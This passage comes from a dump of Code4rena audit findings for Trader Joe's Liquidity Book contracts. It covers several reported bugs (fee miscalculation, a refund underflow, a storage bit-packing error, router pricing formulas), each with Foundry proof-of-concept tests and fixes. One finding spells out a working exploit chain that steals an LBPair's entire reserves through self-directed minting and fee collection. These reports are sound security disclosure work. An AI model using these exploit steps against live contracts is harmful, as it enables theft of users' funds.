x precision (fee of 0.0125%) - Let price = 1 (parity) - If the current bin has enough liqudity, feeAmount must be: (amountIn * totalFee ) / (PRECISION) = 12500000 - [FeeHelper.getFeeAmountFrom(amountIn)](https://github.com/sha256yan/incorrect-fee/blob/1396f6c07ae91bfe5833fd629357983432a97f8b/src/libraries/FeeHelper.sol#L124-L126) uses the formula: feeAmount = (amountIn * totalFee) / (PRECISION + totalFee) = 12484394 - [FeeHelper.getFeeAmount(amountIn)](https://github.com/sha256yan/incorrect-fee/blob/1396f6c07ae91bfe5833fd629357983432a97f8b/src/libraries/FeeHelper.sol#L116-L118) uses exactly the formula ourlined in the correct feeAmount calculation and is the correct method in this case. - Visit the tests section to run a test. --- # Incorrect condition for amountIn overflow - The [condition](https://github.com/sha256yan/incorrect-fee/blob/348b00988d377d96c9ad64917413524815739884/src/libraries/SwapHelper.sol#L61) for when an amountIn overflows the maximum amount available in a bin is flawed. - The Fee Deficit here could potentially trigger an unnecessary bin de-activation. ### Evidence #### Snippet 1 (SwapHelper.getAmounts) ``` fees = fp.getFeeAmountDistribution(fp.getFeeAmount(_maxAmountInToBin)); if (_maxAmountInToBin + fees.total <= amountIn) { //do things } ``` - Collecting the fees on ```_maxAmountInToBin``` before doing so on ```amountIn``` means we are not checking to see whether ```amountIn``` after Consider the following: #### Snippet 2 (SwapHelper.getAmountsV2) ``` fees = fp.getFeeAmountDistribution(fp.getFeeAmount(amountIn)); if (_maxAmountInToBin < amountIn - fees.total) { //do things } ``` - Now, the fees are collected on ```amountIn```. - Assuming both conditions are true, the fees from Snippet2 will be necessarily larger than those in Snippet1 since in both cases ``` _maxAmountInToBin < amountIn ```. - Snippet 1 produces false positives. Meaning, SwapHelper.getAmounts changes its active bin id more than needed. (See Tests section at the bottom for the relevant test) --- # Need for an additional FeeHelper function - There are currently functions to answer the following question: How many tokens must a user send, to end up with a given amountInToBin after fees, before the swap itself takes place? ### Evidence - ```LBRouter.getSwapIn(, amountOut, )``` needs this question answered. At a given price, how many tokens must a user send, to receive ```amountOut```? - We use the ```amountOut``` and price to work backwards to the ```amountInToBin```. - Current approach calculates fees on ```amountInToBin```. ([See here](https://github.com/sha256yan/incorrect-fee/blob/899b2318b7d368dbb938a0f1b56748eb0ac3442a/src/LBRouter.sol#L124-L125)) - This is incorrect as fees should be calculated on ```amountIn```. (As we discussed in [Incorrect use of getFeeAmountFrom](#incorrect-use-of-getfeeamountfrom)) - SwapHelper.getAmounts needs to know what hypothetical ```amountIn``` would end up as ```maxAmountInToBin``` after fees. This is needed to be able to avoid [Incorrect amountIn overflow](#incorrect-conditional-for-amountin-overflow) --- ## Install dependencies To install dependencies, run the following to install dependencies: ``` forge install ``` ___ ## Tests To run tests, run the following command: ``` forge test --match-contract Report -vv ``` --- ## testSingleBinSwapFeeDifference: - Simple test to show the Fee Defecit in it's most basic form. --- ## testFalsePositiveBinDeactivation - Test that shows false positive resulting from the [Incorrect condition](#incorrect-conditional-for-amountin-overflow) --- #### testCorrectFeeBinDeactivation - Test that shows with getAmountsV2 the false positive issue is resolved. --- ### testMultiBinGrowth - Generates datapoints used in opening graph. "}, {"title": "Calling `swapAVAXForExactTokens` function while sending excess amount cannot refund such excess amount", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/469", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "primary issue", "sponsor confirmed", "selected for report", "M-06"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L485-L521 # Vulnerability details ## Impact When calling the `swapAVAXForExactTokens` function, `if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value)` is executed, which is for refunding any excess amount sent in; this is confirmed by this function's comment as well. However, executing `amountsIn[0] - msg.value` will always revert when `msg.value > amountsIn[0]` is true. Developers who has the design of the `swapAVAXForExactTokens` function in mind could develop front-ends and contracts that will send excess amount when calling the `swapAVAXForExactTokens` function. Hence, the users, who rely on these front-ends and contracts for interacting with the `swapAVAXForExactTokens` function will always find such interactions being failed since calling this function with the excess amount will always revert. As a result, the user experience becomes degraded, and the usability of the protocol becomes limited. https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L485-L521 ```solidity /// @notice Swaps AVAX for exact tokens while performing safety checks /// @dev will refund any excess sent ... function swapAVAXForExactTokens( uint256 _amountOut, uint256[] memory _pairBinSteps, IERC20[] memory _tokenPath, address _to, uint256 _deadline ) external payable override ensure(_deadline) verifyInputs(_pairBinSteps, _tokenPath) returns (uint256[] memory amountsIn) { ... if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value); } ``` ## Proof of Concept Please add the following test in `test\\LBRouter.Swaps.t.sol`. This test will pass to demonstrate the described scenario. ```solidity function testSwapAVAXForExactTokensIsUnableToRefund() public { uint256 amountOut = 1e18; (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false); IERC20[] memory tokenList = new IERC20[](2); tokenList[0] = wavax; tokenList[1] = token6D; uint256[] memory pairVersions = new uint256[](1); pairVersions[0] = DEFAULT_BIN_STEP; vm.deal(DEV, amountIn + 500); // Although the swapAVAXForExactTokens function supposes to refund any excess sent, // calling it reverts when sending more than amountIn // because executing _safeTransferAVAX(_to, amountsIn[0] - msg.value) results in arithmetic underflow vm.expectRevert(stdError.arithmeticError); router.swapAVAXForExactTokens{value: amountIn + 1}(amountOut, pairVersions, tokenList, DEV, block.timestamp); } ``` ## Tools Used VSCode ## Recommended Mitigation Steps https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L520 can be updated to the following code. ```solidity if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, msg.value - amountsIn[0]); ```"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/446", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-09"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/437", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-13"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "Attacker can keep fees max at no cost", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/430", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor acknowledged", "selected for report", "M-05"], "target": "2022-10-traderjoe-findings", "body": "Attacker can keep fees max at no cost"}, {"title": "Attacker can steal entire reserves by abusing fee calculation", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/423", "labels": ["bug", "3 (High Risk)", "primary issue", "sponsor confirmed", "selected for report", "H-05"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L819-L829 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L202 # Vulnerability details ## Description Similar to other LP pools, In Trader Joe users can call mint() to provide liquidity and receive LP tokens, and burn() to return their LP tokens in exchange for underlying assets. Users collect fees using collectFess(account,binID). Fees are implemented using debt model. The fundamental fee calculation is: ``` function _getPendingFees( Bin memory _bin, address _account, uint256 _id, uint256 _balance ) private view returns (uint256 amountX, uint256 amountY) { Debts memory _debts = _accruedDebts[_account][_id]; amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtX; amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtY; } ``` accTokenXPerShare / accTokenYPerShare is an ever increasing amount that is updated when swap fees are paid to the current active bin. When liquidity is first minted to user, the \\_accruedDebts is updated to match current \\_balance * accToken\\*PerShare. Without this step, user could collect fees for the entire growth of accToken\\*PerShare from zero to current value. This is done in \\_updateUserDebts, called by \\_cacheFees() which is called by \\_beforeTokenTransfer(), the token transfer hook triggered on mint/burn/transfer. ``` function _updateUserDebts( Bin memory _bin, address _account, uint256 _id, uint256 _balance ) private { uint256 _debtX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET); uint256 _debtY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET); _accruedDebts[_account][_id].debtX = _debtX; _accruedDebts[_account][_id].debtY = _debtY; } ``` The critical problem lies in \\_beforeTokenTransfer: ``` if (_from != _to) { if (_from != address(0) && _from != address(this)) { uint256 _balanceFrom = balanceOf(_from, _id); _cacheFees(_bin, _from, _id, _balanceFrom, _balanceFrom - _amount); } if (_to != address(0) && _to != address(this)) { uint256 _balanceTo = balanceOf(_to, _id); _cacheFees(_bin, _to, _id, _balanceTo, _balanceTo + _amount); } } ``` Note that if \\_from or \\_to is the LBPair contract itself, \\_cacheFees won't be called on \\_from or \\_to respectively. This was presumably done because it is not expected that the LBToken address will receive any fees. It is expected that the LBToken will only hold tokens when user sends LP tokens to burn. This is where the bug manifests - the LBToken address (and 0 address), will collect freshly minted LP token's fees from 0 to current accToken\\*PerShare value. We can exploit this bug to collect the entire reserve assets. The attack flow is: - Transfer amount X to pair - Call pair.mint(), with the to address = pair address - call collectFees() with pair address as account -> pair will send to itself the fees! It is interesting that both OZ ERC20 implementation and LBToken implementation allow this, otherwise this exploit chain would not work - Pair will now think user sent in money, because the bookkeeping is wrong. \\_pairInformation.feesX.total is decremented in collectFees(), but the balance did not change. Therefore, this calculation will credit attacker with the fees collected into the pool: ``` uint256 _amountIn = _swapForY ? tokenX.received(_pair.reserveX, _pair.feesX.total) : tokenY.received(_pair.reserveY, _pair.feesY.total); ``` - Attacker calls swap() and receives reserve assets using the fees collected. - Attacker calls burn(), passing their own address in \\_to parameter. This will successfully burn the minted tokens from step 1 and give Attacker their deposited assets. Note that if the contract did not have the entire collectFees code in an unchecked block, the loss would be limited to the total fees accrued: ``` if (amountX != 0) { _pairInformation.feesX.total -= uint128(amountX); } if (amountY != 0) { _pairInformation.feesY.total -= uint128(amountY); } ``` If attacker would try to overflow the feesX/feesY totals, the call would revert. Unfortunately, because of the unchecked block feesX/feesY would overflow and therefore there would be no problem for attacker to take the entire reserves. ## Impact Attacker can steal the entire reserves of the LBPair. ## Proof of Concept Paste this test in LBPair.Fees.t.sol: ``` function testAttackerStealsReserve() public { uint256 amountY= 53333333333333331968; uint256 amountX = 100000; uint256 amountYInLiquidity = 100e18; uint256 totalFeesFromGetSwapX; uint256 totalFeesFromGetSwapY; addLiquidity(amountYInLiquidity, ID_ONE, 5, 0); uint256 id; (,,id ) = pair.getReservesAndId(); console.log(\"id before\" , id); //swap X -> Y and accrue X fees (uint256 amountXInForSwap, uint256 feesXFromGetSwap) = router.getSwapIn(pair, amountY, true); totalFeesFromGetSwapX += feesXFromGetSwap; token6D.mint(address(pair), amountXInForSwap); vm.prank(ALICE); pair.swap(true, DEV); (uint256 feesXTotal, , uint256 feesXProtocol, ) = pair.getGlobalFees(); (,,id ) = pair.getReservesAndId(); console.log(\"id after\" , id); console.log(\"Bob balance:\"); console.log(token6D.balanceOf(BOB)); console.log(token18D.balanceOf(BOB)); console.log(\"-------------\"); uint256 amount0In = 100e18; uint256[] memory _ids = new uint256[](1); _ids[0] = uint256(ID_ONE); uint256[] memory _distributionX = new uint256[](1); _distributionX[0] = uint256(Constants.PRECISION); uint256[] memory _distributionY = new uint256[](1); _distributionY[0] = uint256(0); console.log(\"Minting for BOB:\"); console.log(amount0In); console.log(\"-------------\"); token6D.mint(address(pair), amount0In); //token18D.mint(address(pair), amount1In); pair.mint(_ids, _distributionX, _distributionY, address(pair)); uint256[] memory amounts = new uint256[](1); console.log(\"***\"); for (uint256 i; i < 1; i++) { amounts[i] = pair.balanceOf(address(pair), _ids[i]); console.log(amounts[i]); } uint256[] memory profit_ids = new uint256[](1); profit_ids[0] = 8388608; (uint256 profit_X, uint256 profit_Y) = pair.pendingFees(address(pair), profit_ids); console.log(\"profit x\", profit_X); console.log(\"profit y\", profit_Y); pair.collectFees(address(pair), profit_ids); (uint256 swap_x, uint256 swap_y) = pair.swap(true,BOB); console.log(\"swap x\", swap_x); console.log(\"swap y\", swap_y); console.log(\"Bob balance after swap:\"); console.log(token6D.balanceOf(BOB)); console.log(token18D.balanceOf(BOB)); console.log(\"-------------\"); console.log(\"*****\"); pair.burn(_ids, amounts, BOB); console.log(\"Bob balance after burn:\"); console.log(token6D.balanceOf(BOB)); console.log(token18D.balanceOf(BOB)); console.log(\"-------------\"); } ``` ## Tools Used Manual audit, foundry ## Recommended Mitigation Steps Code should not exempt any address from \\_cacheFees(). Even address(0) is important, because attacker can collectFees for the 0 address to overflow the FeesX/FeesY variables, even though the fees are not retrievable for them. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/406", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-12"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "Wrong calculation in function `LBRouter._getAmountsIn` make user lose a lot of tokens when swap through JoePair (most of them will gifted to JoePair freely)", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/400", "labels": ["bug", "3 (High Risk)", "primary issue", "sponsor confirmed", "selected for report", "H-04"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBRouter.sol#L725 # Vulnerability details ## Vulnerable detail Function `LBRouter._getAmountsIn` is a helper function to return the amounts in with given `amountOut`. This function will check the pair of `_token` and `_tokenNext` is `JoePair` or `LBPair` using `_binStep`. * If `_binStep == 0`, it will be a `JoePair` otherwise it will be an `LBPair`. ```solidity= if (_binStep == 0) { (uint256 _reserveIn, uint256 _reserveOut, ) = IJoePair(_pair).getReserves(); if (_token > _tokenPath[i]) { (_reserveIn, _reserveOut) = (_reserveOut, _reserveIn); } uint256 amountOut_ = amountsIn[i]; // Legacy uniswap way of rounding amountsIn[i - 1] = (_reserveIn * amountOut_ * 1_000) / (_reserveOut - amountOut_ * 997) + 1; } else { (amountsIn[i - 1], ) = getSwapIn(ILBPair(_pair), amountsIn[i], ILBPair(_pair).tokenX() == _token); } ``` As we can see when `_binStep == 0` and `_token < _tokenPath[i]` (in another word we swap through `JoePair` and pair's`token0` is `_token` and `token1` is `_tokenPath[i]`), it will 1. Get the reserve of pair (`reserveIn`, `reserveOut`) 2. Calculate the `_amountIn` by using the formula ``` amountsIn[i - 1] = (_reserveIn * amountOut_ * 1_000) / (_reserveOut - amountOut_ * 997) + 1 ``` But unfortunately the denominator `_reserveOut - amountOut_ * 997` seem incorrect. It should be `(_reserveOut - amountOut_) * 997`. We will do some math calculations here to prove the expression above is wrong. **Input:** * `_reserveIn (rIn)`: reserve of `_token` in pair * `_reserveOut (rOut)`: reserve of `_tokenPath[i]` in pair * `amountOut_`: the amount of `_tokenPath` the user wants to gain **Output:** * `rAmountIn`: the actual amount of `_token` we need to transfer to the pair. **Generate Formula** Cause `JoePair` [takes 0.3%](https://help.traderjoexyz.com/en/welcome/faq-and-help/general-faq#what-are-trader-swap-joe-fees) of `amountIn` as fee, we get * `amountInDeductFee = amountIn' * 0.997` Following the [constant product formula](https://docs.uniswap.org/protocol/V2/concepts/protocol-overview/glossary#constant-product-formula), we have ``` rIn * rOut = (rIn + amountInDeductFee) * (rOut - amountOut_) ==> rIn + amountInDeductFee = rIn * rOut / (rOut - amountOut_) + 1 <=> amountInDeductFee = (rIn * rOut) / (rOut - amountOut_) - rIn + 1 <=> rAmountIn * 0.997 = rIn * amountOut / (rOut - amountOut_) + 1 <=> rAmountIn = (rIn * amountOut * 1000) / ((rOut - amountOut_) * 997) + 1 <=> ``` As we can see `rAmountIn` is different from `amountsIn[i - 1]`, the denominator of `rAmountIn` is `(rOut - amountOut_) * 997` when the denominator of `amountsIn[i - 1]` is `_reserveOut - amountOut_ * 997` (Missing one bracket) ## Impact **Loss of fund: User will send a lot of tokenIn (much more than expected) but just gain exact amountOut in return.** Let dive in the function `swapTokensForExactTokens()` to figure out why this scenario happens. I will assume I just swap through only one pool from `JoePair` and 0 pool from `LBPair`. * Firstly function will get the list `amountsIn` from function `_getAmountsIn`. So `amountsIn` will be [`incorrectAmountIn`, `userDesireAmount`]. ```solidity= // url = https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBRouter.sol#L440 amountsIn = _getAmountsIn(_pairBinSteps, _pairs, _tokenPath, _amountOut); ``` * Then it transfers `incorrectAmountIn` to `_pairs[0]` to prepare for the swap. ```solidity= // url = https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBRouter.sol#L444 _tokenPath[0].safeTransferFrom(msg.sender, _pairs[0], amountsIn[0]); ``` * Finally it calls function `_swapTokensForExactToken` to execute the swap. ```solidity= // url = https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBRouter.sol#L446 uint256 _amountOutReal = _swapTokensForExactTokens(_pairs, _pairBinSteps, _tokenPath, amountsIn, _to); ``` In this step it will reach to [line 841](https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBRouter.sol#L841) which will set the expected `amountOut = amountsIn[i+1] = amountsIn[1] = userDesireAmount`. ```solidity= // url = https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBRouter.sol#L841 amountOut = _amountsIn[i + 1]; ``` So after calling `IJoePair(_pair).swap()`, the user just gets exactly `amountOut` and wastes a lot of tokenIn that (s)he transfers to the pool. ## Proof of concept Here is our test script to describe the impacts * https://gist.github.com/huuducst/6e34a7bdf37bb29f4b84d2faead94dc4 You can place this file into `/test` folder and run it using ```bash= forge test --match-test testBugSwapJoeV1PairWithLBRouter --fork-url https://rpc.ankr.com/avalanche --fork-block-number 21437560 -vv ``` Explanation of test script: (For more detail u can read the comments from test script above) 1. Firstly we get the Joe v1 pair WAVAX/USDC from JoeFactory. 2. At the forked block, price `WAVAX/USDC` was around 15.57. We try to use LBRouter function `swapTokensForExactTokens` to swap 10$ WAVAX (10e18 wei) to 1$ USDC (1e6 wei). But it reverts with the error `LBRouter__MaxAmountInExceeded`. But when we swap directly to JoePair, it swap successfully 10$ AVAX (10e18 wei) to 155$ USDC (155e6 wei). 3. We use LBRouter function `swapTokensForExactTokens` again with very large `amountInMax` to swap 1$ USDC (1e6 wei). It swaps successfully but needs to pay a very large amount WAVAX (much more than price). ## Tools Used Foundry ## Recommended Mitigation Steps Modify function `LBRouter._getAmountsIn` as follow ```solidity= // url = https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBRouter.sol#L717-L728 if (_binStep == 0) { (uint256 _reserveIn, uint256 _reserveOut, ) = IJoePair(_pair).getReserves(); if (_token > _tokenPath[i]) { (_reserveIn, _reserveOut) = (_reserveOut, _reserveIn); } uint256 amountOut_ = amountsIn[i]; // Legacy uniswap way of rounding // Fix here amountsIn[i - 1] = (_reserveIn * amountOut_ * 1_000) / ((_reserveOut - amountOut_) * 997) + 1; } else { (amountsIn[i - 1], ) = getSwapIn(ILBPair(_pair), amountsIn[i], ILBPair(_pair).tokenX() == _token); } ``` "}, {"title": "Wrong implementation of function `LBPair.setFeeParameter` can break the funcionality of LBPair and make user's tokens locked ", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/384", "labels": ["bug", "3 (High Risk)", "primary issue", "sponsor confirmed", "selected for report", "H-03"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L905-L917 # Vulnerability details ## Vulnerable detail Struct `FeeParameters` contains 12 fields as follows: ```solidity= struct FeeParameters { // 144 lowest bits in slot uint16 binStep; uint16 baseFactor; uint16 filterPeriod; uint16 decayPeriod; uint16 reductionFactor; uint24 variableFeeControl; uint16 protocolShare; uint24 maxVolatilityAccumulated; // 112 highest bits in slot uint24 volatilityAccumulated; uint24 volatilityReference; uint24 indexRef; uint40 time; } ``` Function [`LBPair.setFeeParamters(bytes _packedFeeParamters)`](https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L788-L790) is used to set the first 8 fields which was stored in 144 lowest bits of `LBPair._feeParameter`'s slot to 144 lowest bits of `_packedFeeParameters` (The layout of `_packedFeeParameters` can be seen [here](https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBFactory.sol#L572-L584)). ```solidity= /// url = https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L905-L917 /// @notice Internal function to set the fee parameters of the pair /// @param _packedFeeParameters The packed fee parameters function _setFeesParameters(bytes32 _packedFeeParameters) internal { bytes32 _feeStorageSlot; assembly { _feeStorageSlot := sload(_feeParameters.slot) } /// [#explain] it will get 112 highest bits of feeStorageSlot, /// and stores it in the 112 lowest bits of _varParameters uint256 _varParameters = _feeStorageSlot.decode(type(uint112).max, _OFFSET_VARIABLE_FEE_PARAMETERS/*=144*/); /// [#explain] get 144 lowest bits of packedFeeParameters /// and stores it in the 144 lowest bits of _newFeeParameters uint256 _newFeeParameters = _packedFeeParameters.decode(type(uint144).max, 0); assembly { // [$audit-high] wrong operation `or` here // Mitigate: or(_newFeeParameters, _varParameters << 144) sstore(_feeParameters.slot, or(_newFeeParameters, _varParameters)) } } ``` As we can see in the implementation of `LBPair._setFeesParametes` above, it gets the 112 highest bits of `_feeStorageSlot` and stores it in the 112 lowest bits of `_varParameter`. Then it gets the 144 lowest bits of `packedFeeParameter` and stores it in the 144 lowest bits of `_newFeeParameters`. Following the purpose of function `setFeeParameters`, the new `LBPair._feeParameters` should form as follow: ``` // keep 112 highest bits remain unchanged // set 144 lowest bits to `_newFeeParameter` [...112 bits...][....144 bits.....] [_varParameters][_newFeeParameters] ``` It will make `feeParameters = _newFeeParameters | (_varParameters << 144)`. But current implementation just stores the `or` value of `_varParameters` and `_newFeeParameter` into `_feeParameters.slot`. It forgot to shift left the `_varParameters` 144 bits before executing `or` operation. This will make the value of `binStep`, ..., `maxVolatilityAccumulated` incorrect, and also remove the value (make the bit equal to 0) of `volatilityAccumulated`, ..., `time`. ## Impact * Incorrect fee calculation when executing an action with LBPair (swap, flashLoan, mint) * Break the functionality of LBPair. The user can't swap/mint/flashLoan --> Make all the tokens stuck in the pools ## Proof of concept Here is our test script to describe the impacts * https://gist.github.com/WelToHackerLand/012e44bb85420fb53eb0bbb7f0f13769 You can place this file into `/test` folder and run it using ```bash= forge test --match-contract High1Test -vv ``` Explanation of test script: 1. First we create a pair with `binStep = DEFAULT_BIN_STEP = 25` 2. We do some actions (add liquidity -> mint -> swap) to increase the value of `volatilityAccumulated` from `0` to `60000` 3. We call function `factory.setFeeParametersOnPair` to set new fee parameters. 4. After that the value of `volatilityAccumulated` changed to value `0` (It should still be unchanged after `factory.setFeeParametersOnPair`) 5. We check the value of `binStep` and it changed from`25` to `60025` * `binStep` has that value because [line 915](https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L915) set `binStep = uint16(volatilityAccumulated) | binStep = 60000 | 25 = 60025`. 6. This change of `binStep` value will break all the functionality of `LBPair` cause `binStep > Constant.BASIS_POINT_MAX = 10000` --> `Error: BinStepOverflows` ## Tools Used Foundry ## Recommended Mitigation Steps Modify function `LBPair._setFeesParaters` as follow: ```solidity= /// url = https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L905-L917 function _setFeesParameters(bytes32 _packedFeeParameters) internal { bytes32 _feeStorageSlot; assembly { _feeStorageSlot := sload(_feeParameters.slot) } uint256 _varParameters = _feeStorageSlot.decode(type(uint112).max, _OFFSET_VARIABLE_FEE_PARAMETERS); uint256 _newFeeParameters = _packedFeeParameters.decode(type(uint144).max, 0); assembly { sstore(_feeParameters.slot, or(_newFeeParameters, shl(144, _varParameters))) } } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/379", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-11"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "Incorrect output amount calculation for Trader Joe V1 pools", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/345", "labels": ["bug", "3 (High Risk)", "primary issue", "sponsor confirmed", "selected for report", "H-02"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L891 https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L896 # Vulnerability details ## Impact Output amount is calculated incorrectly for a Trader Joe V1 pool when swapping tokens across multiple pools and some of the pools in the chain are V1 ones. Calculated amounts will always be smaller than expected ones, which will always affect chained swaps that include V1 pools. ## Proof of Concept [LBRouter](https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L21) is a high-level contract that serves as the main contract users will interact with. The contract implements a lot of security checks and helper functions that make usage of LBPair contracts easier and more user-friendly. Some examples of such functions: - [swapExactTokensForTokensSupportingFeeOnTransferTokens](https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L531), which makes chained swaps (i.e. swaps between tokens that don't have a pair) of tokens implementing fee on transfer (i.e. there's fee reduced from every transferred amount); - [swapExactTokensForAVAXSupportingFeeOnTransferTokens](https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L561), which is the variation of the above function which takes AVAX as the output token; - [swapExactAVAXForTokensSupportingFeeOnTransferTokens](https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L594), which is the variation of the previous function which takes AVA as the input token. Under the hood, these three functions call [_swapSupportingFeeOnTransferTokens](https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L864), which is the function that actually performs swaps. The function supports both Trader Joe V1 and V2 pools: when `_binStep` is 0 (which is never true in V2 pools), it's assumed that the current pool is a V1 one. For V1 pools, the function calculates output amounts based on pools' reserves and balances: ```solidity if (_binStep == 0) { (uint256 _reserve0, uint256 _reserve1, ) = IJoePair(_pair).getReserves(); if (_token < _tokenNext) { uint256 _balance = _token.balanceOf(_pair); uint256 _amountOut = (_reserve1 * (_balance - _reserve0) * 997) / (_balance * 1_000); IJoePair(_pair).swap(0, _amountOut, _recipient, \"\"); } else { uint256 _balance = _token.balanceOf(_pair); uint256 _amountOut = (_reserve0 * (_balance - _reserve1) * 997) / (_balance * 1_000); IJoePair(_pair).swap(_amountOut, 0, _recipient, \"\"); } } else { ILBPair(_pair).swap(_tokenNext == ILBPair(_pair).tokenY(), _recipient); } ``` However, these calculations are incorrect. Here's the difference: ```diff @@ -888,12 +888,14 @@ contract LBRouter is ILBRouter { (uint256 _reserve0, uint256 _reserve1, ) = IJoePair(_pair).getReserves(); if (_token < _tokenNext) { uint256 _balance = _token.balanceOf(_pair); - uint256 _amountOut = (_reserve1 * (_balance - _reserve0) * 997) / (_balance * 1_000); + uint256 amountInWithFee = (_balance - _reserve0) * 997; + uint256 _amountOut = (_reserve1 * amountInWithFee) / (_reserve0 * 1_000 + amountInWithFee); IJoePair(_pair).swap(0, _amountOut, _recipient, \"\"); } else { uint256 _balance = _token.balanceOf(_pair); - uint256 _amountOut = (_reserve0 * (_balance - _reserve1) * 997) / (_balance * 1_000); + uint256 amountInWithFee = (_balance - _reserve1) * 997; + uint256 _amountOut = (_reserve0 * amountInWithFee) / (_reserve1 * 1_000 + amountInWithFee); IJoePair(_pair).swap(_amountOut, 0, _recipient, \"\"); } ``` These calculations are implemented correctly in [JoeLibrary.getAmountOut](https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/libraries/JoeLibrary.sol#L30-L41), which is used in [LBQuoter](https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBQuoter.sol#L83). Also it's used in Trader Joe V1 to calculate output amounts in similar functions: - https://github.com/traderjoe-xyz/joe-core/blob/main/contracts/traderjoe/JoeRouter02.sol#L375 ```solidity // test/audit/RouterMath2.t.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; import \"../TestHelper.sol\"; import \"../../src/LBRouter.sol\"; import \"../../src/interfaces/IJoePair.sol\"; contract RouterMath2Test is TestHelper { IERC20 internal token; uint256 internal actualAmountOut; function setUp() public { token = new ERC20MockDecimals(18); ERC20MockDecimals(address(token)).mint(address(this), 100e18); router = new LBRouter( ILBFactory(address(0x00)), IJoeFactory(address(this)), IWAVAX(address(0x02)) ); } // Imitates V1 factory. function getPair(address, /*tokenX*/ address /*tokenY*/ ) public view returns (address) { return address(this); } // Imitates V1 pool. function getReserves() public pure returns (uint112, uint112, uint32) { return (1e18, 1e18, 0); } // Imitates V1 pool. function balanceOf(address /*acc*/) public pure returns (uint256) { return 0.0001e18; } // Imitates V1 pool. function swap(uint256 amount0, uint256 amount1, address to, bytes memory data) public { actualAmountOut = amount0 == 0 ? amount1 : amount0; } function testScenario() public { // Setting up a swap via one V1 pool. uint256[] memory steps = new uint256[](1); steps[0] = 0; IERC20[] memory path = new IERC20[](2); path[0] = IERC20(address(token)); path[1] = IERC20(address(this)); uint256 amountIn = 